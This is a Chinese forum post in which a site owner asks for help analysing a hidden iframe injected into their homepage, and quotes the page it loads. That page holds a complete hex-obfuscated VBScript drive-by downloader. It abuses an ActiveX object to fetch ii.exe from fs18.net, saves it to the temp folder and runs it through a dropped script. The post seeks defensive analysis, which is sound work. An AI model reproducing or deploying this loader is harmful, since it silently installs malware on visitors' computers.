高分求JS高手帮我分析这段代码.
网站首页嵌套了一个 <iframe   src=http://fs18.net/down8/dd.htm   width=20   height=0   frameborder=0>  </iframe>    
 我把页面http://fs18.net/down8/dd.htm下载下来后是下面的代码,请高手帮我分析下啊!   
  <html>  
  <body>  
  <script   language= "JavaScript ">  
 function   mymid(ss)   { 
 return   ss.substring(2);} 
  </script>  
  <script   language= "VBScript ">  
 flag_type= "vbs " 
 S= "6f6E206572726F7220726573756d65206E6578740D0a6375726c3D22687474703A2F2f667331382E6E65742F646f776E382f " 
 S=S+ "69692e657865220D0a666E616D65313D2269692e657865220D0a666e616d65323d2269692e766273220d0a53657420646620 " 
 S=S+ "3D20646F63756D656E742E637265617465456C656d656E7428226F626A65637422290D0a64662e7365744174747269627574 " 
 S=S+ "652022636c6173736964222C2022636C7369643A42443936433535362D363541332D313144302d393833412d303043303446 " 
 S=S+ "433239453336220D0a7374723D224D6963726f736F66742e584d4c48545450220d0a5365742078203d2064662e4372656174 " 
 S=S+ "654F626A656374287374722C2222290D0A43313D2241646f220D0A43323d2264622e220D0A43333D22737472220D0A43343D " 
 S=S+ "2265616D220D0A737472313D43312643322643332643340D0A737472353D737472310D0a7365742053203d2064662E637265 " 
 S=S+ "6174656f626A65637428737472352c2222290D0a532e74797065203d20310D0A737472363D22474554220d0a782e4F70656e " 
 S=S+ "20737472362C206375726c2C2046616C73650D0a782E53656E640d0a73313d22536372697074220d0a73323d22696E672E22 " 
 S=S+ "0d0a73333D2246696C65220D0a73343d2253797374656D4F626a656374220d0a73303D73312B73322b73332B73340d0a7365 " 
 S=S+ "742046203D2064662E6372656174656f626a6563742873302C2222290d0a73657420746d70203d20462e4765745370656369 " 
 S=S+ "616C466F6c6465722832290D0a666E616d65313d20462e4275696c645061746828746D702c666E616D6531290D0a532e6f70 " 
 S=S+ "656E0D0A532e777269746520782e726573706F6e7365426F64790D0A532e73617665746f66696c6520666E616d65312C320d " 
 S=S+ "0A532E636C6f73650D0A666e616d65323D20462E4275696C645061746828746D702C666e616d6532290D0A53657420747320 " 
 S=S+ "3d20462E4f70656e5465787446696c6528666e616D65322C20322C2054727565290d0A74732E57726974654C696E65202253 " 
 S=S+ "6574205368656c6C203D204372656174654f626A656374282222577363726970742E5368656c6C222229220d0A73716C3D22 " 
 S=S+ "5368656c6C2e52756E282222222b666e616d65312B22222229220D0A74732e57726974654c696E652073716c0d0A74732E57 " 
 S=S+ "726974654C696e652022736574205368656c6C3D4e6F7468696E67220D0a74732E57726974654c696E652022693d31220d0a " 
 S=S+ "74732e636C6f73650d0a696620462e46696C6545786973747328666E616D6531293d74727565207468656e0d0a696620462E " 
 S=S+ "46696C6545786973747328666E616d6532293d74727565207468656E0d0a202020207368613D225368656C6c2e417070220D " 
 S=S+ "0a202020207368623D7368610d0A202020207365742051203D2064662E6372656174656f626a656374287368622b226c6963 " 
 S=S+ "6174696f6e222c2222290D0A20202020512e5368656c6c4578656375746520666E616d65322c22222c22222c226F70656e22 " 
 S=S+ "2c300D0A656E642069660d0a656e642069660D0a " 
 D= " " 
 DO   WHILE   LEN(S)> 1 
             k= "&H "+ucase(LEFT(S,2)) 
             p=CLng(k) 
             m=chr(p) 
             D=D+m 
             S=mymid(S) 
 LOOP 
 if   flag_type= "vbs "   then    
       EXECUTE   D 
 end   if 
 if   flag_type= "html "   then    
       document.write(D) 
 end   if 
  <